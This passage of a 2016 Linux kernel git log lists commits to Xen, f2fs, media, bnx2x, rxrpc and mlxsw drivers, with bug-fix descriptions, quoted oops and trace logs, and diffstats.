sys-hypervisor.c There are two functions with name xen_pmu_init() in the kernel. Rename the one in drivers/xen/sys-hypervisor.c to avoid shadowing the one in arch/x86/xen/pmu.c To avoid the same problem in future rename some more functions. Signed-off-by: Juergen Gross Signed-off-by: David Vrabel drivers/xen/sys-hypervisor.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit e1c105a9d75a1e9a44eb2f0b10204a6492057e4d Author: Boris Ostrovsky Date: Wed Aug 3 13:22:28 2016 -0400 hotplug: Prevent alloc/free of irq descriptors during cpu up/down (again) Now that Xen no longer allocates irqs in _cpu_up() we can restore commit a89941816726 ("hotplug: Prevent alloc/free of irq descriptors during cpu up/down") Signed-off-by: Boris Ostrovsky Acked-by: Thomas Gleixner CC: x86@kernel.org CC: Thomas Gleixner Signed-off-by: David Vrabel arch/x86/kernel/smpboot.c | 11 ----------- kernel/cpu.c | 8 ++++++++ 2 files changed, 8 insertions(+), 11 deletions(-) commit 5fc509bc2bd6dddd4107eaf90680cd76cfc2ffed Author: Boris Ostrovsky Date: Wed Aug 3 13:22:27 2016 -0400 xen/x86: Move irq allocation from Xen smp_op.cpu_up() Commit ce0d3c0a6fb1 ("genirq: Revert sparse irq locking around __cpu_up() and move it to x86 for now") reverted irq locking introduced by commit a89941816726 ("hotplug: Prevent alloc/free of irq descriptors during cpu up/down") because of Xen allocating irqs in both of its cpu_up ops. We can move those allocations into CPU notifiers so that original patch can be reinstated. Signed-off-by: Boris Ostrovsky Signed-off-by: David Vrabel arch/x86/xen/enlighten.c | 61 +++++++++++++++++++++++++++++++++++++----------- arch/x86/xen/smp.c | 45 ++--------------------------------- arch/x86/xen/smp.h | 13 +++++++++++ 3 files changed, 63 insertions(+), 56 deletions(-) commit 49abf69fb9372805b962707ceb3dfb913e9f54e5 Merge: 0f7dd7a 718cc4b Author: Stephen Boyd Date: Wed Aug 24 10:30:46 2016 -0700 Merge branch 'clk-meson-gxbb-ao' into clk-next * clk-meson-gxbb-ao: clk: meson: Fix invalid use of sizeof in gxbb_aoclkc_probe() commit 44819a76d1304dd67672abaea3be55eae70ef766 Author: Chao Yu Date: Sat Aug 6 21:09:40 2016 +0800 f2fs: clean up bio cache trace Trace info related to bio cache operation is out of format, clean up it. Before: <...>-28308 [002] .... 4781.052703: f2fs_submit_write_bio: dev = (251,1), WRITEWRITE_SYNC ^H, DATA, sector = 271424, size = 126976 <...>-28308 [002] .... 4781.052820: f2fs_submit_page_mbio: dev = (251,1), ino = 103, page_index = 0x1f, oldaddr = 0xffffffff, newaddr = 0x84a7 rw = WRITEWRITE_SYNCi ^H, type = DATA kworker/u8:2-29988 [001] .... 5549.293877: f2fs_submit_page_mbio: dev = (251,1), ino = 91, page_index = 0xd, oldaddr = 0xffffffff, newaddr = 0x782f rw = WRITE0x0i ^H type = DATA After: kworker/u8:2-8678 [000] .... 7945.124459: f2fs_submit_write_bio: dev = (251,1), rw = WRITE_SYNC, DATA, sector = 74080, size = 53248 kworker/u8:2-8678 [000] .... 7945.124551: f2fs_submit_page_mbio: dev = (251,1), ino = 11, page_index = 0xec, oldaddr = 0xffffffff, newaddr = 0x243a, rw = WRITE, type = DATA Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim include/trace/events/f2fs.h | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) commit 3e025740b976c409820a789f8dabc4ec2c50a950 Author: Jaegeuk Kim Date: Tue Aug 2 10:56:40 2016 -0700 f2fs: do not use discard_map for hard disks We don't need to keep discard_map, if disk does not support discard command. Signed-off-by: Jaegeuk Kim fs/f2fs/debug.c | 4 +++- fs/f2fs/f2fs.h | 7 +++++++ fs/f2fs/segment.c | 28 +++++++++++++++++++--------- 3 files changed, 29 insertions(+), 10 deletions(-) commit bb413d6acd4e1c361daebf8486efc3923f429792 Author: Yunlei He Date: Thu Jul 28 12:12:38 2016 +0800 f2fs: not allow to write illegal blkaddr we came across an error as below: [build_nat_area_bitmap:1710] nid[0x 1718] addr[0x 1c18ddc] ino[0x 1718] [build_nat_area_bitmap:1710] nid[0x 1719] addr[0x 1c193d5] ino[0x 1719] [build_nat_area_bitmap:1710] nid[0x 171a] addr[0x 1c1736e] ino[0x 171a] [build_nat_area_bitmap:1710] nid[0x 171b] addr[0x 58b3ee8f] ino[0x815f92ed] [build_nat_area_bitmap:1710] nid[0x 171c] addr[0x fcdc94b] ino[0x49366377] [build_nat_area_bitmap:1710] nid[0x 171d] addr[0x 7cd2facf] ino[0xb3c55300] [build_nat_area_bitmap:1710] nid[0x 171e] addr[0x bd4e25d0] ino[0x77c34c09] ... ... [build_nat_area_bitmap:1710] nid[0x 1718] addr[0x 1c18ddc] ino[0x 1718] [build_nat_area_bitmap:1710] nid[0x 1719] addr[0x 1c193d5] ino[0x 1719] [build_nat_area_bitmap:1710] nid[0x 171a] addr[0x 1c1736e] ino[0x 171a] [build_nat_area_bitmap:1710] nid[0x 171b] addr[0x 58b3ee8f] ino[0x815f92ed] [build_nat_area_bitmap:1710] nid[0x 171c] addr[0x fcdc94b] ino[0x49366377] [build_nat_area_bitmap:1710] nid[0x 171d] addr[0x 7cd2facf] ino[0xb3c55300] [build_nat_area_bitmap:1710] nid[0x 171e] addr[0x bd4e25d0] ino[0x77c34c09] One nat block may be stepped by a data block, so this patch forbid to write if the blkaddr is illegal Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim fs/f2fs/segment.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ba75faf43dc60744608ffa1412fdeceff2126cbc Author: Geert Uytterhoeven Date: Tue Aug 9 12:36:41 2016 -0300 [media] rcar-fcp: Make sure rcar_fcp_enable() returns 0 on success When resuming from suspend-to-RAM on r8a7795/salvator-x: dpm_run_callback(): pm_genpd_resume_noirq+0x0/0x90 returns 1 PM: Device fe940000.fdp1 failed to resume noirq: error 1 dpm_run_callback(): pm_genpd_resume_noirq+0x0/0x90 returns 1 PM: Device fe944000.fdp1 failed to resume noirq: error 1 dpm_run_callback(): pm_genpd_resume_noirq+0x0/0x90 returns 1 PM: Device fe948000.fdp1 failed to resume noirq: error 1 According to its documentation, rcar_fcp_enable() returns 0 on success or a negative error code if an error occurs. Hence fdp1_pm_runtime_resume() and vsp1_pm_runtime_resume() forward its return value to their callers. However, rcar_fcp_enable() forwards the return value of pm_runtime_get_sync(), which can actually be 1 on success, leading to the resume failure above. To fix this, consider only negative values returned by pm_runtime_get_sync() to be failures. Fixes: 7b49235e83b2347c ("[media] v4l: Add Renesas R-Car FCP driver") Signed-off-by: Geert Uytterhoeven Reviewed-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-fcp.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit b325c98b90e22402be1524db810107508a6edfe6 Author: Wolfram Sang Date: Tue Aug 9 08:35:14 2016 -0300 [media] media: pci: pt3: don't print error when adding adapter fails The core will do this for us now. Signed-off-by: Wolfram Sang Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/pt3/pt3.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 49cd08e699c3fca1262fccd3826c7c17f2292bf1 Author: Wolfram Sang Date: Tue Aug 9 08:35:16 2016 -0300 [media] media: usb: dvb-usb-v2: dvb_usb_core: don't print error when adding adapter fails The core will do this for us now. Signed-off-by: Wolfram Sang Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb-v2/dvb_usb_core.c | 2 -- 1 file changed, 2 deletions(-) commit 38e699bc79b3b59503540dee4afa3a0174ad8616 Author: Wolfram Sang Date: Tue Aug 9 08:35:13 2016 -0300 [media] media: pci: netup_unidvb: don't print error when adding adapter fails The core will do this for us now. Signed-off-by: Wolfram Sang Acked-by: Abylay Ospan Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/netup_unidvb/netup_unidvb_i2c.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit b956fb2d2e562a344df41a8f2fc51314bac5b300 Author: Wei Yongjun Date: Thu Aug 4 05:31:22 2016 -0300 [media] adv7511: fix error return code in adv7511_probe() Fix to return error code -ENOMEM from the i2c client register error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/adv7511.c | 1 + 1 file changed, 1 insertion(+) commit c7b7b483ccc9d64ae577a04d490aa9a975afe891 Author: Yuval Mintz Date: Wed Aug 24 13:27:19 2016 +0300 bnx2x: Don't flush multicast MACs When ndo_set_rx_mode() is called for bnx2x, as part of process of configuring the new MAC address filters [both unicast & multicast] driver begins by flushing the existing configuration and then iterating over the network device's list of addresses and configures those instead. This has the side-effect of creating a short gap where traffic wouldn't be properly classified, as no filters are configured in HW. While for unicasts this is rather insignificant [as unicast MACs don't frequently change while interface is actually running], for multicast traffic it does pose an issue as there are multicast-based networks where new multicast groups would constantly be removed and added. This patch tries to remedy this [at least for the newer adapters] - Instead of flushing & reconfiguring all existing multicast filters, the driver would instead create the approximate hash match that would result from the required filters. It would then compare it against the currently configured approximate hash match, and only add and remove the delta between those. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2x/bnx2x_main.c | 47 +++++- drivers/net/ethernet/broadcom/bnx2x/bnx2x_sp.c | 191 ++++++++++++++++++++-- drivers/net/ethernet/broadcom/bnx2x/bnx2x_sp.h | 12 +- drivers/net/ethernet/broadcom/bnx2x/bnx2x_sriov.c | 24 +-- drivers/net/ethernet/broadcom/bnx2x/bnx2x_sriov.h | 1 - 5 files changed, 241 insertions(+), 34 deletions(-) commit 6546c78ea671b3ea1dfbdc39744b58f451885ac7 Merge: d3c10db 45025bc Author: David S. Miller Date: Wed Aug 24 09:43:44 2016 -0700 Merge tag 'rxrpc-rewrite-20160824-2' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Add better client conn management strategy These two patches add a better client connection management strategy. They need to be applied on top of the just-posted fixes. (1) Duplicate the connection list and separate out procfs iteration from garbage collection. This is necessary for the next patch as with that client connections no longer appear on a single list and may not appear on a list at all - and really don't want to be exposed to the old garbage collector. (Note that client conns aren't left dangling, they're also in a tree rooted in the local endpoint so that they can be found by a user wanting to make a new client call. Service conns do not appear in this tree.) (2) Implement a better lifetime management and garbage collection strategy for client connections. In this, a client connection can be in one of five cache states (inactive, waiting, active, culled and idle). Limits are set on the number of client conns that may be active at any one time and makes users wait if they want to start a new call when there isn't capacity available. To make capacity available, active and idle connections can be culled, after a short delay (to allow for retransmission). The delay is reduced if the capacity exceeds a tunable threshold. If there is spare capacity, client conns are permitted to hang around a fair bit longer (tunable) so as to allow reuse of negotiated security contexts. After this patch, the client conn strategy is separate from that of service conns (which continues to use the old code for the moment). This difference in strategy is because the client side retains control over when it allows a connection to become active, whereas the service side has no control over when it sees a new connection or a new call on an old connection. ==================== Signed-off-by: David S. Miller commit d3c10db138a9b5d88c475f9e4532003ad35f57c2 Merge: d14c800 df5d8bf Author: David S. Miller Date: Wed Aug 24 09:42:57 2016 -0700 Merge tag 'rxrpc-rewrite-20160824-1' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: More fixes Here are a couple of fix patches: (1) Fix the conn-based retransmission patch posted yesterday. This breaks if it actually has to retransmit. However, it seems the likelihood of this happening is really low, despite the server I'm testing against being located >3000 miles away, and sometime of the time it's handled in the call background processor before we manage to disconnect the call - hence why I didn't spot it. (2) /proc/net/rxrpc_calls can cause a crash it accessed whilst a call is being torn down. The window of opportunity is pretty small, however, as calls don't stay in this state for long. ==================== Signed-off-by: David S. Miller commit d14c800ba64d05f1eceb69924ba3f1aeba829abb Merge: fff84d2 0f7a4d8a Author: David S. Miller Date: Wed Aug 24 09:41:13 2016 -0700 Merge branch 'mlxsw-fdb-learning-offload' Jiri Pirko says: ==================== mlxsw: Offload FDB learning configuration Ido says: This patchset addresses two long standing issues in the mlxsw driver concerning FDB learning. Patch 1 limits the number of FDB records processed by the driver in a single session. This is useful in situations in which many new records need to be processed, thereby causing the RTNL mutex to be held for long periods of time. Patches 2-6 offload the learning configuration (on / off) of bridge ports to the device instead of having the driver decide whether a record needs to be learned or not. The last patch is fallout and removes configuration no longer necessary after the first patches are applied. ==================== Signed-off-by: David S. Miller commit 0f7a4d8a9d1c6ecd0a93f7e5feedf5cdffaafd5e Author: Ido Schimmel Date: Wed Aug 24 12:00:29 2016 +0200 mlxsw: spectrum: Don't set learning when creating vPorts Before commit 99724c18fc66 ("mlxsw: spectrum: Introduce support for router interfaces") we used to assign vFIDs to the created vPorts. Since these vPorts were used for slow path traffic we had to disable learning for them, as it doesn't make sense to have it enabled. This is no longer the case and now vPorts are either used for router interfaces (for which learning is disabled by the firmware) or bridge ports (for which learning is explicitly enabled by the driver). Therefore, we can remove the learning configuration upon vPort creation. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 8 -------- 1 file changed, 8 deletions(-) commit 81f77bc00689ea602e8f19ef5b6dc7b1e238187b Author: Ido Schimmel Date: Wed Aug 24 12:00:28 2016 +0200 mlxsw: spectrum: Remove unnecessary check in FDB processing We now offload the learning configuration to the device and don't rely on the driver to decide whether to learn the FDB record, so remove the check. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum_switchdev.c | 4 ---- 1 file changed, 4 deletions(-) commit 89b548f0cfad8322cefe777746e4c12f0ab9ba60 Author: Ido Schimmel Date: Wed Aug 24 12:00:27 2016 +0200 mlxsw: spectrum: Offload learning to the switch ASIC Up until now we simply stored the learning configuration of a bridge port in the driver and decided whether to learn a new FDB record based on this value. However, this is sub-optimal in cases where learning is disabled on the bridge port, as the device repeatedly generates learning notifications for the same record. Instead, offload the learning configuration to the device, thereby preventing it from generating notifications when learning is disabled. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller .../ethernet/mellanox/mlxsw/spectrum_switchdev.c | 47 ++++++++++++++++++++-- 1 file changed, 44 insertions(+), 3 deletions(-) commit 584d73df06253f206e31ff897a475283167bf0f0 Author: Ido Schimmel Date: Wed Aug 24 12:00:26 2016 +0200 mlxsw: spectrum: Configure learning for VLAN-aware bridge port We are going to prevent the device from generating learning notifications for a port that was configured with learning disabled. Since learning configuration is done per {Port, VID} we need to apply the port's learning configuration for any VID that is added to the bridge port's VLAN filter list. When a VID is added to the VLAN filter list of a VLAN-aware bridge port, configure the {Port, VID} learning status according to the port's configuration. When the VID is removed, disable learning for the {Port, VID}. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 16 +++++++--- drivers/net/ethernet/mellanox/mlxsw/spectrum.h | 3 ++ .../ethernet/mellanox/mlxsw/spectrum_switchdev.c | 35 ++++++++++++++++++++++ 3 files changed, 50 insertions(+), 4 deletions(-) commit 640be7b7177dbe026cf7ae387b21f6917f0fc44f Author: Ido Schimmel Date: Wed Aug 24 12:00:25 2016 +0200 mlxsw: spectrum: Don't abort on first error when removing VLANs When removing VLANs from the VLAN-aware bridge we shouldn't abort on the first error, as we'll otherwise have resources that will never be freed. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller .../net/ethernet/mellanox/mlxsw/spectrum_switchdev.c | 20 ++++---------------- 1 file changed, 4 insertions(+), 16 deletions(-) commit f7a8f6cec38a549ffcc559a9eb14cab539100d97 Author: Ido Schimmel Date: Wed Aug 24 12:00:24 2016 +0200 mlxsw: spectrum: Make VLAN deletion function symmetric Commit 05978481e77e ("mlxsw: spectrum: Create PVID vPort before registering netdevice") removed __mlxsw_sp_port_vlans_del() from the init sequence of the driver, which forced it to be non-symmetric with regards to __mlxsw_sp_port_vlans_add(). Make both functions symmetric as the constraint no longer exists. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum_switchdev.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 1803e0fb7ef9534154e6a1abf77bc2ca352f72e1 Author: Ido Schimmel Date: Wed Aug 24 12:00:23 2016 +0200 mlxsw: spectrum: Limit number of FDB records per learning session Up until now a learning session ended whenever the number of queried records was zero. This turned out to be problematic in situations where a large number of MACs (48K) had to be processed by the switch driver, as RTNL mutex is held during the learning session. Instead, limit the number of FDB records that can be processed in a session to 64. This means that every time the device is queried for learning notifications (currently, every 100ms), up to 64 records will be processed by the switch driver. Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/reg.h | 7 +++++++ .../ethernet/mellanox/mlxsw/spectrum_switchdev.c | 22 ++++++++++------------ 2 files changed, 17 insertions(+), 12 deletions(-) commit 69d4a521586ef93db94451afa5072ec3f6bee401 Author: Geert Uytterhoeven Date: Wed Aug 3 15:10:09 2016 -0300 [media] VIDEO_MEDIATEK_VPU should depend on HAS_DMA If NO_DMA=y: ERROR: "bad_dma_ops" [drivers/media/platform/mtk-vpu/mtk-vpu.ko] undefined! Add a dependency on HAS_DMA to fix this. Signed-off-by: Geert Uytterhoeven Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c7930f37c1300d7ca4d8ee1b80ca28c3d889c255 Author: Wolfram Sang Date: Tue Aug 9 08:35:15 2016 -0300 [media] exynos4-is: fimc-is-i2c: don't print error when adding adapter fails The core will do this for us now. Signed-off-by: Wolfram Sang Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/exynos4-is/fimc-is-i2c.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit ed90013e40af2bb703ecaed39dc2422c70006a34 Author: Bhaktipriya Shridhar Date: Sat Jul 16 05:30:25 2016 -0300 [media] s5p-mfc: Remove deprecated create_singlethread_workqueue alloc_workqueue replaces deprecated create_singlethread_workqueue(). The MFC device driver is a v4l2 driver which can encode/decode video raw/elementary streams and has support for all popular video codecs. The driver's watchdog_workqueue has been replaced with system_wq since it queues a single work item, &dev->watchdog_work, which calls for no ordering requirement. The work item is involved in running the watchdog timer and is not being used on a memory reclaim path. Work item has been flushed in s5p_mfc_remove() to ensure that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/s5p-mfc/s5p_mfc.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 605b89206140172080d3c467380821ba6ef9ce1f Author: Shuah Khan Date: Thu Jul 14 17:01:56 2016 -0300 [media] media: s5p-jpeg add missing blank lines after declarations Missing blank lines after declarations are making it hard to read the code. Fix them and also fix other checkpatch warnings at the same time. Signed-off-by: Shuah Khan Acked-by: Jacek Anaszewski Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/s5p-jpeg/jpeg-core.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit fff84d2a39603336ccb7140e282c4011315e29c4 Merge: e53ee45 87d2248 Author: David S. Miller Date: Wed Aug 24 09:35:35 2016 -0700 Merge tag 'shared-for-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/leon/linux-rdma Saeed Mahameed says: ==================== Mellanox mlx5 core driver updates 2016-08-24 This series contains some low level and API updates for mlx5 core driver interface and mlx5_ifc.h, plus mlx5 LAG core driver support, to be shared as base code for net-next and rdma mlx5 4.9 submissions. From Alex and Artemy, Update mlx5_ifc for modify RQ and XRC bits. From Noa, Expose mlx5 link modes so they can be used in RDMA tree for rdma tools. From Aviv, LAG support needed for RDMA. - Add needed hardware structures, layouts and interface - mlx5 core driver LAG implementation - Introduce mlx5 core driver LAG API for mlx5_ib From Maor, add two low level patches for mlx5 hardware sniffer QP infrastructure bits and capabilities, plus added the namespace for sniffer steering tables. Needed for RDMA subtree. ==================== Signed-off-by: David S. Miller commit 06f0a57f35cda9d4941695472008105d34c0d626 Author: Shuah Khan Date: Thu Jul 14 11:40:22 2016 -0300 [media] media: s5p-mfc remove unnecessary error messages Removed unnecessary error message as appropriate error code is returned. Changed error message into a debug. Signed-off-by: Shuah Khan Reviewed-by: Javier Martinez Canillas Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/s5p-mfc/s5p_mfc.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 8fe47dca12011d3afebf85cb9837c22e346af243 Author: Shuah Khan Date: Tue Jul 12 14:28:30 2016 -0300 [media] media: s5p-mfc Fix misspelled error message and checkpatch errors Fix misspelled error message and existing checkpatch errors in the error message conditional. WARNING: suspect code indent for conditional statements (8, 24) if (ctx->state != MFCINST_HEAD_PARSED && [...] mfc_err("Can not get crop information\n"); Signed-off-by: Shuah Khan Reviewed-by: Javier Martinez Canillas Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/s5p-mfc/s5p_mfc_dec.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 05b72d439208f94ad2333d6323835f89890a3a9f Author: Wei Yongjun Date: Tue Jul 12 08:27:59 2016 -0300 [media] s5p-mfc: remove redundant return value check of platform_get_resource() Remove unneeded error handling on the result of a call to platform_get_resource() when the value is passed to devm_ioremap_resource(). Signed-off-by: Wei Yongjun Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/s5p-mfc/s5p_mfc.c | 4 ---- 1 file changed, 4 deletions(-) commit 02d9a33a028f46e4b924ea00b4bbcde3a1243100 Author: Shuah Khan Date: Mon Jul 11 21:29:43 2016 -0300 [media] media: s5p-mfc remove void function return statement Remove void function return statement Signed-off-by: Shuah Khan Reviewed-by: Javier Martinez Canillas Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/s5p-mfc/s5p_mfc.c | 1 - 1 file changed, 1 deletion(-) commit d695c12c57feae371c943e019af920bc8b732dfb Author: Shuah Khan Date: Fri Jul 8 19:29:25 2016 -0300 [media] media: s5p-mfc fix invalid memory access from s5p_mfc_release() If s5p_mfc_release() runs after s5p_mfc_remove(), the former will access invalid s5p_mfc_dev pointer saved in the s5p_mfc_ctx and runs into kernel paging request errors. Clear ctx dev pointer in s5p_mfc_remove() and change s5p_mfc_release() to avoid work that requires ctx->dev. odroid kernel: Unable to handle kernel paging request at virtual address f17c1104 odroid kernel: pgd = ebca4000 odroid kernel: [f17c1104] *pgd=6e23d811, *pte=00000000, *ppte=00000000 odroid kernel: Internal error: Oops: 807 [#1] PREEMPT SMP ARM odroid kernel: Modules linked in: cpufreq_userspace cpufreq_powersave cpufreq_conservative s5p_mfc s5p_jpeg v4l2_mem2mem videobuf2_dma_contig videobuf2_memops videobuf2_v4l2 videobuf2_core v4l2_common videodev media odroid kernel: Hardware name: SAMSUNG EXYNOS (Flattened Device Tree) odroid kernel: task: c2241400 ti: e7018000 task.ti: e7018000 odroid kernel: PC is at s5p_mfc_reset+0x40/0x28c [s5p_mfc] odroid kernel: LR is at s5p_mfc_reset+0x34/0x28c [s5p_mfc] odroid kernel: pc : [] lr : [] psr: 60010013 odroid kernel: [] (s5p_mfc_reset [s5p_mfc]) from [] (s5p_mfc_deinit_hw+0x14/0x3c [s5p_mfc]) odroid kernel: [] (s5p_mfc_deinit_hw [s5p_mfc]) from [] (s5p_mfc_release+0xac/0x1c4 [s5p_mfc]) odroid kernel: [] (s5p_mfc_release [s5p_mfc]) from [] (v4l2_release+0x38/0x74 [videodev]) odroid kernel: [] (v4l2_release [videodev]) from [] (__fput+0x80/0x1c8) odroid kernel: [] (__fput) from [] (task_work_run+0x94/0xc8) odroid kernel: [] (task_work_run) from [] (do_work_pending+0x7c/0xa4) odroid kernel: [] (do_work_pending) from [] (slow_work_pending+0xc/0x20) odroid kernel: Code: eb3edacc e5953078 e3a06000 e2833c11 (e5836004) Signed-off-by: Shuah Khan Tested-by: Luis de Bethencourt Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/s5p-mfc/s5p_mfc.c | 72 ++++++++++++++++++++++---------- 1 file changed, 50 insertions(+), 22 deletions(-) commit d188b679f49f5eca7f2d19465de2f6f004344aca Author: Shuah Khan Date: Fri Jul 8 11:12:00 2016 -0300 [media] media: Doc s5p-mfc add missing fields to s5p_mfc_dev structure definition Add missing documentation for s5p_mfc_dev structure definition. Signed-off-by: Shuah Khan Reviewed-by: Javier Martinez Canillas Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/s5p-mfc/s5p_mfc_common.h | 2 ++ 1 file changed, 2 insertions(+) commit a4a4b15c6858bf4dc383ec7b601abb7635b6875e Author: Javier Martinez Canillas Date: Thu Jun 16 18:40:35 2016 -0300 [media] gsc-m2m: improve v4l2_capability driver and card fields According to the V4L2 documentation the driver and card fields should be used to identify the driver and the device but the gsc-m2m driver fills those field using the platform device name, which in turn is the name of the device DT node. So not only the filled information isn't correct but also the same values are used in the driver, card and bus_info fields. Before this patch: Driver Info (not using libv4l2): Driver name : 13e00000.video- Card type : 13e00000.video-scaler Bus info : platform:13e00000.video-scaler Driver version: 4.7.0 After this patch: Driver Info (not using libv4l2): Driver name : exynos-gsc Card type : exynos-gsc gscaler Bus info : platform:13e00000.video-scaler Driver version: 4.7.0 Signed-off-by: Javier Martinez Canillas Acked-by: Hans Verkuil Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/exynos-gsc/gsc-m2m.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3a5a2ac064a316e01baa543ba3e1e8b3265c486a Author: Javier Martinez Canillas Date: Thu Jun 16 18:40:34 2016 -0300 [media] gsc-m2m: add device name sufix to bus_info capatiliby field The driver doesn't set the device in the struct v4l2_capability bus_info field so v4l2-compliance reports the following error for VIDIOC_QUERYCAP: Required ioctls: fail: v4l2-compliance.cpp(537): missing bus_info prefix ('platform') test VIDIOC_QUERYCAP: FAIL This patch fixes this by filling also the device besides the bus. Signed-off-by: Javier Martinez Canillas Acked-by: Hans Verkuil Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/exynos-gsc/gsc-m2m.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b9f19f00d6be84ce099be4a403c37036398080c7 Author: Javier Martinez Canillas Date: Thu Jun 16 18:40:33 2016 -0300 [media] s5p-jpeg: only fill driver's name in capabilities driver field The driver fills in both the struct v4l2_capability driver and card fields the same values, that is the driver's name plus the information if the dev is a decoder or an encoder. But the driver field has a fixed length of 16 bytes so the filled data is truncated: Driver Info (not using libv4l2): Driver name : s5p-jpeg decode Card type : s5p-jpeg decoder Bus info : platform:11f50000.jpeg Driver version: 4.7.0 Also, this field should only contain the driver's name so use just that. The information if the device is a decoder or an encoder is in the card type field anyways. Signed-off-by: Javier Martinez Canillas Acked-by: Jacek Anaszewski Acked-by: Hans Verkuil Reviewed-by: Shuah Khan Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/s5p-jpeg/jpeg-core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4f355cb5676039b98232bb86d4ed1542eaa9e0be Author: Javier Martinez Canillas Date: Wed Mar 23 21:41:40 2016 -0300 [media] exynos4-is: Fix fimc_is_parse_sensor_config() nodes handling The same struct device_node * is used for looking up the I2C sensor, OF graph endpoint and port. So the reference count is incremented but not decremented for the endpoint and port nodes. Fix this by having separate pointers for each node looked up. Signed-off-by: Javier Martinez Canillas Tested-by: Nicolas Dufresne Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/exynos4-is/fimc-is.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) commit 3b2aa383b3bc4e16ee15a145f8d9575a73779337 Author: Javier Martinez Canillas Date: Thu Jun 16 18:40:32 2016 -0300 [media] s5p-jpeg: set capablity bus_info as required by VIDIOC_QUERYCAP The driver doesn't set the struct v4l2_capability cap_info field so the v4l2-compliance tool reports the following errors for VIDIOC_QUERYCAP: Required ioctls: VIDIOC_QUERYCAP returned 0 (Success) fail: v4l2-compliance.cpp(304): string empty fail: v4l2-compliance.cpp(528): check_ustring(vcap.bus_info, sizeof(vcap.bus_info)) test VIDIOC_QUERYCAP: FAIL This patch fixes by setting the field in VIDIOC_QUERYCAP ioctl handler: Required ioctls: VIDIOC_QUERYCAP returned 0 (Success) test VIDIOC_QUERYCAP: OK Signed-off-by: Javier Martinez Canillas Acked-by: Jacek Anaszewski Acked-by: Hans Verkuil Reviewed-by: Shuah Khan Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/s5p-jpeg/jpeg-core.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b9b048d9f92ac3c146d03ae2f6a96c628b5e3b8e Author: Mauro Carvalho Chehab Date: Wed Aug 24 13:28:49 2016 -0300 [media] tw5864: remove two unused vars Remove those two vars that aren't used, as reported by smatch: drivers/media/pci/tw5864/tw5864-video.c: In function 'tw5864_prepare_frame_headers': drivers/media/pci/tw5864/tw5864-video.c:1219:16: warning: variable 'space_before_sl_hdr' set but not used [-Wunused-but-set-variable] 